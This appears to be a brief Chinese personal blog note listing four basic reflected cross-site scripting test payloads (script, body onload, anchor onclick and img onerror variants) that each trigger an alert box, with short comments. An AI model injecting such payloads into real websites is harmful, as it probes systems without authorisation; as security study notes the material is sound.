XSS命令笔记【待更新】

反射型XSS

  • <script>alert(‘xss’)</script>
  • <body onload=alert('xss')>
  • <a href='' onclick=alert('xss')>click</a>    //增加一个click按钮,点击执行
  • <img src="#" onerror=alert('xss')>    //src地址为空(或错误地址),然后执行onerror的内容
posted @ 2020-03-05 22:03  叁柒一拾贰  阅读(145)  评论(0)    收藏  举报